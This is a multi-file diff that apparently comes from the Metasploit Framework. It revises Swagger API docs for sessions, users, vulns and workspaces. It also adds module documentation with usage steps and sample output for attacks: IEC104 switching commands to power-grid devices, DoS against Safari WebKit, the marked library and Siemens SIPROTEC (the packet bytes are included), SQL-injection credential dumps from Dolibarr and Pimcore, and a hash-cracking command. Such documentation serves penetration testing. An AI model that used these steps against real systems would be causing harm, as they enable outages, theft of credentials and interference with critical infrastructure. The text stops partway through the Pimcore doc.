parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted services.'
schema do
key :type, :array
items do
key :'$ref', :Service
property :data do
key :type, :array
items do
key :'$ref', :Service
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/services/{id}' do
# Swagger documentation for api/v1/services/:id GET
# TODO: Add this back in when this endpoint is implemented, tracked in MS-3233.
#
# operation :get do
# key :description, 'Return specific service that is stored in the database.'
# key :tags, [ 'service' ]
#
# parameter :workspace
#
# parameter do
# key :name, :id
# key :in, :path
# key :description, 'ID of service to retrieve.'
# key :required, true
# key :type, :integer
# key :format, :int32
# end
#
# response 200 do
# key :description, 'Returns service data.'
# schema do
# key :type, :array
# items do
# key :'$ref', :Service
# end
# end
# end
# end
operation :get do
key :description, 'Return specific service that is stored in the database.'
key :tags, [ 'service' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of service to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns service data.'
schema do
property :data do
key :'$ref', :Service
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/services/:id PUT
operation :put do
@ -147,12 +203,27 @@ module ServiceApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Service
property :data do
key :'$ref', :Service
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -32,12 +32,28 @@ module SessionApiDoc
response 200 do
key :description, 'Returns session data.'
schema do
key :type, :array
items do
key :'$ref', :Session
property :data do
key :type, :array
items do
key :'$ref', :Session
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/sessions POST
@ -60,7 +76,7 @@ module SessionApiDoc
# end
#
# response 200 do
# key :description, 'Successful operation.'
# key :description, RootApiDoc::DEFAULT_RESPONSE_200
# schema do
# key :type, :object
# key :'$ref', :Session
@ -68,4 +84,44 @@ module SessionApiDoc
# end
# end
end
swagger_path '/api/v1/sessions/{id}' do
# Swagger documentation for api/v1/sessions/:id GET
operation :get do
key :description, 'Return a specific session that is stored in the database.'
key :tags, [ 'session' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of session to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns session data.'
schema do
property :data do
key :'$ref', :Session
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -35,12 +35,28 @@ module SessionEventApiDoc
response 200 do
key :description, 'Returns session event data.'
schema do
key :type, :array
items do
key :'$ref', :SessionEvent
property :data do
key :type, :array
items do
key :'$ref', :SessionEvent
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/session events POST
@ -64,10 +80,65 @@ module SessionEventApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :SessionEvent
property :data do
key :'$ref', :SessionEvent
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
swagger_path '/api/v1/session-events/{id}' do
# Swagger documentation for api/v1/session-events/:id GET
operation :get do
key :description, 'Return a specific session_event that is stored in the database.'
key :tags, [ 'session_event' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of session_event to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns session event data.'
schema do
property :data do
key :'$ref', :SessionEvent
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end

View File

@ -0,0 +1,129 @@
require 'swagger/blocks'
module UserApiDoc
include Swagger::Blocks
USERNAME_DESC = 'The username of the user.'
USERNAME_EXAMPLE = 'bmoose'
PASSWORD_DESC = 'The password of the user.'
PASSWORD_EXAMPLE = 'pass123'
CRYPTED_PASSWORD_DESC = 'The encrypted password of the user.'
CRYPTED_PASSWORD_EXAMPLE = '$2a$10$ZOmd0VVkcVLTKW/0Cw0BMeqVITeVN4tPQvRvwBizNyM1NIz45oxda'
PASSWORD_SALT_DESC = 'The password salt for the user\'s password.'
PERSISTENCE_TOKEN_DESC = 'The persistence token for the user.'
PERSISTENCE_TOKEN_EXAMPLE = '1a6347561b72aff163b4c1b8324cfdf9ccca37caa681e29d348677afe0cb56927e2e3ab4dc612723'
FULLNAME_DESC = 'The user\'s full name.'
FULLNAME_EXAMPLE = 'Bullwinkle J. Moose'
EMAIL_DESC = 'The user\'s email address.'
EMAIL_EXAMPLE = 'bullwinkle_moose@rapid7.com'
PHONE_DESC = 'The user\'s phone number.'
PHONE_EXAMPLE = '555-555-5555'
COMPANY_DESC = 'The user\'s company.'
COMPANY_EXAMPLE = 'Rapid7'
PREFS_DESC = 'The user\'s preferences.'
PREFS_EXAMPLE = {}
ADMIN_DESC = 'A boolean indicating whether the user is an admin.'
ADMIN_EXAMPLE = false
# Swagger documentation for User model
swagger_schema :User do
key :required, [:username, :password]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :crypted_password, type: :string, description: CRYPTED_PASSWORD_DESC, example: CRYPTED_PASSWORD_EXAMPLE
property :password_salt, type: :string, description: PASSWORD_SALT_DESC
property :persistence_token, type: :string, description: PERSISTENCE_TOKEN_DESC, example: PERSISTENCE_TOKEN_EXAMPLE
property :created_at, type: :string, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, description: RootApiDoc::UPDATED_AT_DESC
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
property :admin, type: :string, description: ADMIN_DESC, example: ADMIN_EXAMPLE
end
swagger_path '/api/v1/users' do
# Swagger documentation for /api/v1/users GET
operation :get do
key :description, 'Return users that are stored in the database.'
key :tags, [ 'user' ]
response 200 do
key :description, 'Returns user data.'
schema do
property :data do
key :type, :array
items do
key :'$ref', :User
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/users GET
operation :post do
key :description, 'Create a user.'
key :tags, [ 'user' ]
parameter do
key :in, :body
key :name, :body
key :description, 'The attributes to assign to the user.'
key :required, true
schema do
property :username, type: :string, required: true, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :password, type: :string, required: true, description: PASSWORD_DESC, example: PASSWORD_EXAMPLE
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
end
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :type, :array
items do
key :'$ref', :User
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -89,12 +89,28 @@ module VulnApiDoc
response 200 do
key :description, 'Returns vuln data.'
schema do
key :type, :array
items do
key :'$ref', :Vuln
property :data do
key :type, :array
items do
key :'$ref', :Vuln
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/vulns POST
@ -124,10 +140,25 @@ module VulnApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns vuln data.'
schema do
key :type, :object
key :'$ref', :Vuln
property :data do
key :'$ref', :Vuln
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -140,14 +171,30 @@ module VulnApiDoc
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted vulns.'
schema do
key :type, :array
items do
key :'$ref', :Vuln
property :data do
key :type, :array
items do
key :'$ref', :Vuln
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
@ -157,8 +204,6 @@ module VulnApiDoc
key :description, 'Return specific vuln that is stored in the database.'
key :tags, [ 'vuln' ]
parameter :workspace
parameter do
key :name, :id
key :in, :path
@ -171,12 +216,25 @@ module VulnApiDoc
response 200 do
key :description, 'Returns vuln data.'
schema do
key :type, :array
items do
property :data do
key :'$ref', :Vuln
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/vulns/:id PUT
@ -197,12 +255,27 @@ module VulnApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns vuln data.'
schema do
key :type, :object
key :'$ref', :Vuln
property :data do
key :'$ref', :Vuln
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -41,12 +41,28 @@ module VulnAttemptApiDoc
response 200 do
key :description, 'Returns vuln attempt data.'
schema do
key :type, :array
items do
key :'$ref', :VulnAttempt
property :data do
key :type, :array
items do
key :'$ref', :VulnAttempt
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/vuln-attempts POST
@ -72,12 +88,67 @@ module VulnAttemptApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :VulnAttempt
property :data do
key :'$ref', :VulnAttempt
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
swagger_path '/api/v1/vuln-attempts/{id}' do
# Swagger documentation for api/v1/vuln-attempts/:id GET
operation :get do
key :description, 'Return a specific vuln attempt that is stored in the database.'
key :tags, [ 'vuln_attempt' ]
parameter do
key :name, :id
key :in, :path
key :description, 'ID of vuln attempt to retrieve.'
key :required, true
key :type, :integer
key :format, :int32
end
response 200 do
key :description, 'Returns vuln attempt data.'
schema do
property :data do
key :'$ref', :VulnAttempt
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end

View File

@ -34,12 +34,28 @@ module WorkspaceApiDoc
response 200 do
key :description, 'Returns workspace data.'
schema do
key :type, :array
items do
key :'$ref', :Workspace
property :data do
key :type, :array
items do
key :'$ref', :Workspace
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/workspaces POST
@ -58,10 +74,25 @@ module WorkspaceApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Workspace
property :data do
key :'$ref', :Workspace
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
@ -74,14 +105,30 @@ module WorkspaceApiDoc
parameter :delete_opts
response 200 do
key :description, 'Successful operation.'
key :description, 'Returns an array containing the successfully deleted workspaces.'
schema do
key :type, :array
items do
key :'$ref', :Workspace
property :data do
key :type, :array
items do
key :'$ref', :Workspace
end
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
@ -103,12 +150,25 @@ module WorkspaceApiDoc
response 200 do
key :description, 'Returns workspace data.'
schema do
key :type, :array
items do
property :data do
key :'$ref', :Workspace
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
# Swagger documentation for /api/v1/workspaces/:id PUT
@ -129,12 +189,27 @@ module WorkspaceApiDoc
end
response 200 do
key :description, 'Successful operation.'
key :description, RootApiDoc::DEFAULT_RESPONSE_200
schema do
key :type, :object
key :'$ref', :Workspace
property :data do
key :'$ref', :Workspace
end
end
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
end
end
end
end
end

View File

@ -0,0 +1,120 @@
# IEC104 Client for Metasploit
## Definition
IEC 60870 part 5 is one of the IEC 60870 set of standards which define systems used for telecontrol (supervisory control and data acquisition) in electrical engineering and power system automation applications. Part 5 provides a communication profile for sending basic telecontrol messages between two systems, which uses permanent directly connected data circuits between the systems. The IEC Technical Committee 57 (Working Group 03) have developed a protocol standard for telecontrol, teleprotection, and associated telecommunications for electric power systems. The result of this work is IEC 60870-5. Five documents specify the base IEC 60870-5:
IEC 60870-5-104 (IEC 104) protocol is an extension of IEC 101 protocol with the changes in transport, network, link & physical layer services to suit the complete network access. The standard uses an open TCP/IP interface to network to have connectivity to the LAN (Local Area Network) and routers with different facility (ISDN, X.25, Frame relay etc.) can be used to connect to the WAN (Wide Area Network). Application layer of IEC 104 is preserved same as that of IEC 101 with some of the data types and facilities not used. There are two separate link layers defined in the standard, which is suitable for data transfer over Ethernet & serial line (PPP - Point-to-Point Protocol). The control field data of IEC104 contains various types of mechanisms for effective handling of network data synchronization.
## Install
Create a new folder for the IEC104 module, place script in new folder
```
mkdir -p $HOME/.msf4/modules/auxiliary/client/iec104
cp iec104.rb $HOME/.msf4/modules/auxiliary/client/iec104/
```
## Usage
### Selection of module in msfconsole
```
msf > use auxiliary/client/iec104/iec104
```
### Show module options
```
msf auxiliary(client/iec104/iec104) > show options
Module options (auxiliary/client/iec104/iec104):
Name Current Setting Required Description
---- --------------- -------- -----------
ASDU_ADDRESS 1 yes Common Address of ASDU
COMMAND_ADDRESS 0 yes Command Address / IOA Address
COMMAND_TYPE 100 yes Command Type
COMMAND_VALUE 20 yes Command Value
ORIGINATOR_ADDRESS 0 yes Originator Address
RHOST yes The target address
RPORT 2404 yes The target port (TCP)
Auxiliary action:
Name Description
---- -----------
SEND_COMMAND Send command to device
```
### Usage Examples
Example of sending IEC104 general interrogation command
This is using thde default setting for command type, address and value, this is connecting to an local IEC104 server simulator for demo purposes
```
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 1 SIQ: 0x00
[+] 127.0.0.1:2404 - IOA: 2 SIQ: 0x00
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x01
[+] 127.0.0.1:2404 - IOA: 4 SIQ: 0x00
[+] 127.0.0.1:2404 - Parsing response: Single point information (M_SP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 7 SIQ: 0x00
[+] 127.0.0.1:2404 - Parsing response: Double point information (M_DP_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0006
[+] 127.0.0.1:2404 - CauseTx: 14 (Inrogen)
[+] 127.0.0.1:2404 - IOA: 6 SIQ: 0x02
[+] 127.0.0.1:2404 - Parsing response: Interrogation command (C_IC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0008
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```
Example sending switching command
IOA address to be switched is "5", the command type is a double command "46", command is for switching off without time value "5"
Using local IEC 104 server simulator
```
msf auxiliary(client/iec104/iec104) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf auxiliary(client/iec104/iec104) > set command_address 5
command_address => 5
msf auxiliary(client/iec104/iec104) > set command_type 46
command_type => 46
msf auxiliary(client/iec104/iec104) > set command_value 5
command_value => 5
msf auxiliary(client/iec104/iec104) > run
[+] 127.0.0.1:2404 - Recieved STARTDT_ACT
[*] 127.0.0.1:2404 - Sending 104 command
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0000
[+] 127.0.0.1:2404 - CauseTx: 07 (Activation Confirmation)
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[+] 127.0.0.1:2404 - Parsing response: Single point information with time (M_SP_TB_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0002
[+] 127.0.0.1:2404 - CauseTx: 03 (Spontaneous)
[+] 127.0.0.1:2404 - IOA: 3 SIQ: 0x00
[+] 127.0.0.1:2404 - Timestamp: 2018-03-30 21:39:52.930
[+] 127.0.0.1:2404 - Parsing response: Double command (C_DC_NA_1)
[+] 127.0.0.1:2404 - TX: 0002 RX: 0004
[+] 127.0.0.1:2404 - CauseTx: 0a (Termination Activation)
[+] 127.0.0.1:2404 - IOA: 5 DCO: 0x05
[*] 127.0.0.1:2404 - operation ended
[*] 127.0.0.1:2404 - Terminating Connection
[+] 127.0.0.1:2404 - Recieved STOPDT_ACT
[*] Auxiliary module execution completed
msf auxiliary(client/iec104/iec104) >
```

View File

@ -0,0 +1,31 @@
## Vulnerable Application
This module exploits a vulnerability in Safari WebKit to crash the device.
The bug affects all iOS devices running iOS 9 up to iOS 12 and Safari on OSX 10.13.6
The device will "re-spring" the operating system, but not actually restart the device.
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur`
1. Do: `set URIPATH /` (Optional)
1. Do: `run`
1. When you visit the page on a vulnerable device, it should crash the operating system
## Scenarios
### Safari 602.1 on iOS 10.1.1
```
msf5 > use auxiliary/dos/apple_ios/webkit_backdrop_filter_blur
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > set URIPATH /
URIPATH => /
msf5 auxiliary(dos/apple_ios/webkit_backdrop_filter_blur) > run
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.0.1:8080/
[*] Server started.
[*] 192.168.0.2: Sending response to User-Agent: Mozilla/5.0 (iPod touch; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B150 Safari/602.1
```

View File

@ -0,0 +1,84 @@
## Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
## How to Install
To install a vulnerable version of `marked`, run:
```
npm i marked@0.3.19
```
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/marked_redos`.
10. `set RHOST [IP]`.
11. `set HTTP_METHOD get` (optional)
12. `set HTTP_PARAMETER foo` (required)
13. `set TARGETURI /path/to/vulnerable/route` (optional)
14. `run`.
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
## Scenarios
### marked npm module version 0.3.19
Expected output for successful exploitation:
```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```
### Example Vulnerable Application
```
// npm i express body-parser
// npm i marked@0.3.19 (vulnerable)
// npm i marked (non-vulnerable)
const marked = require('marked');
const express = require('express');
const bodyParser = require('body-parser');
var app = express();
app.use(bodyParser.text({ type: 'text/html' }));
// create application/json parser
const jsonParser = bodyParser.json();
// create application/x-www-form-urlencoded parser
const urlencodedParser = bodyParser.urlencoded({ extended: false });
app.get("/", urlencodedParser, function(req, res) {
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
res.end(result);
});
app.post("/cat", urlencodedParser, function(req, res) {
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
res.end(result);
});
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
```

View File

@ -0,0 +1,74 @@
## Description
This module sends a specially crafted packet to Port 50000/UDP could cause a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) device. A manual reboot is required to return the device to service.
## Vulnerable Application
Since this exploit hits the embedded software of a SCADA component, there is no vulnerable application for download on the web.
You may check the vendor's website for additional information. (http://w3.siemens.com/smartgrid/global/en/products-systems-solutions/downloads/Pages/SIPROTEC-4-Downloads.aspx)
You may also check the demo video: (https://drive.google.com/open?id=176ZC7nLJyJHGHPB3LbRxvLgArE9kOjPz)
## Verification Steps
- [ ] Start ```msfconsole```
- [ ] ```use auxiliary/dos/scada/siemens_siprotec4```
- [ ] Set ```RHOST <TARGET>```, replacing ```<TARGET>``` with the IP address you wish to attack.
- [ ] ```run```
- [ ] Verify that you see ```[*] Sending DoS packet ...```
- [ ] Verify that you see ```[*] Auxiliary module execution completed```
- [ ] Verify that the exploit sends a specially crafted packet which contains ```11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E```
Document: (https://github.com/can/CVE-2015-5374-DoS-PoC/blob/master/README.md)
Metasploit Module is written based on this exploit: (https://www.exploit-db.com/exploits/44103/)
## Options
```set RHOST <TARGET_IP>```, ```set RPORT <TARGET_PORT> (Default 50000)```.
## Scenarios
```
msf auxiliary(siemens_siprotec4) > info
Name: Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module Denial of Service
Module: auxiliary/dos/scada/siemens_siprotec4
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
M. Can Kurnaz
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
Description:
This module sends a specially crafted packet to port 50000/UDP
causing a denial of service of the affected (Siemens SIPROTEC 4 and
SIPROTEC Compact < V4.25) devices. A manual reboot is required to return the
device to service. CVE-2015-5374 and a CVSS v2 base score of 7.8
have been assigned to this vulnerability.
References:
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
https://www.exploit-db.com/exploits/44103/
msf auxiliary(siemens_siprotec4) > show options
Module options (auxiliary/dos/scada/siemens_siprotec4):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 50000 yes The target port (UDP)
msf auxiliary(siemens_siprotec4) > set rhost 192.168.1.61
rhost => 192.168.1.61
msf auxiliary(siemens_siprotec4) > run
[*] Sending DoS packet ...
[*] Auxiliary module execution completed
msf auxiliary(siemens_siprotec4) >
```

View File

@ -0,0 +1,49 @@
## Description
This module enables an authenticated user to collect usernames and encrypted passwords of other users of the ERP/CRM Dolibarr software via SQL injection.
Checks in the Dolibarr software can be bypassed by url-encoding the SQL commands, provided that the commands do not contain quotes.
## Vulnerable Application
Dolibarr ERP/CRM Software versions < v7.0.2. Dolibarr v7.0.0 can be found [here](https://www.exploit-db.com/apps/04b0bb4b4864117b5bf47c0fcc737254-dolibarr-7.0.0.tar.gz).
By default, user accounts do not have access to view the list of other users of the software. The admin account must first be used to enable the members page, create general users, and give those users permission to access the members page.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/gather/dolibarr_list_creds_sqli```
4. Do: ```set RHOSTS [IP]```
5. Do: ```set USERNAME [USER]```
6. Do: ```set PASSWORD [PASS]```
7. Do: ```set TARGETURI [URI]```
8. Do: ```run```
9. You should get a list of credentials
## Scenarios
### Tested on Dolibarr v7.0.0 running on Ubuntu 18.04
```
msf5 > use auxiliary/gather/dolibarr_list_creds_sqli
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set username test
username => test
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set password blah
password => blah
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set targeturi /dolibarr
targeturi => /dolibarr
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > set rhosts 192.168.37.228
rhosts => 192.168.37.228
msf5 auxiliary(gather/dolibarr_list_creds_sqli) > run
[*] Logging in...
[+] Successfully logged into Dolibarr
[+] Accessed credentials
[+] user 8456167fd64d3cda366bda95088dda4d7ea94995
[+] test 9d49884ec5f2c8431572a73e3285ceed3f0bdc5b
[+] blahBlah e345d4aa5a6a63f828870b0d299dd921d119a5c7
[+] someUser fe79b08f9f6a1104a141ff65047087a36d926f12
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,63 @@
## Description
This module exploits a SQL injection vulnerability in Pimcore's REST web service for versions below 5.3.0. By using a UNION query on the `object inquire` service, this module can steal the usernames and password hashes of all users of Pimcore.
Pimcore begins to create password hashes by concatenating a user's username, the name of the application, and the user's password in the format `USERNAME:pimcore:PASSWORD`.
The resulting string is then used to generate an MD5 hash, and then that MD5 hash is used to create the final hash, which is generated using PHP's built-in `password_hash` function.
The following is an example of cracking a retrieved hash using John the Ripper on OS X (`md5{,sum}` invocation may vary):
```
wvu@kharak:~$ md5 -qs 'admin:pimcore:TrustNo1!!' | john --stdin <(echo 'admin:$2y$10$k6odZgiw2RnC1gbuD2/vRO21SxVuAeUiYYWwRtmYuNHYvZCzEX2Fy')
Created directory: /Users/wvu/.john
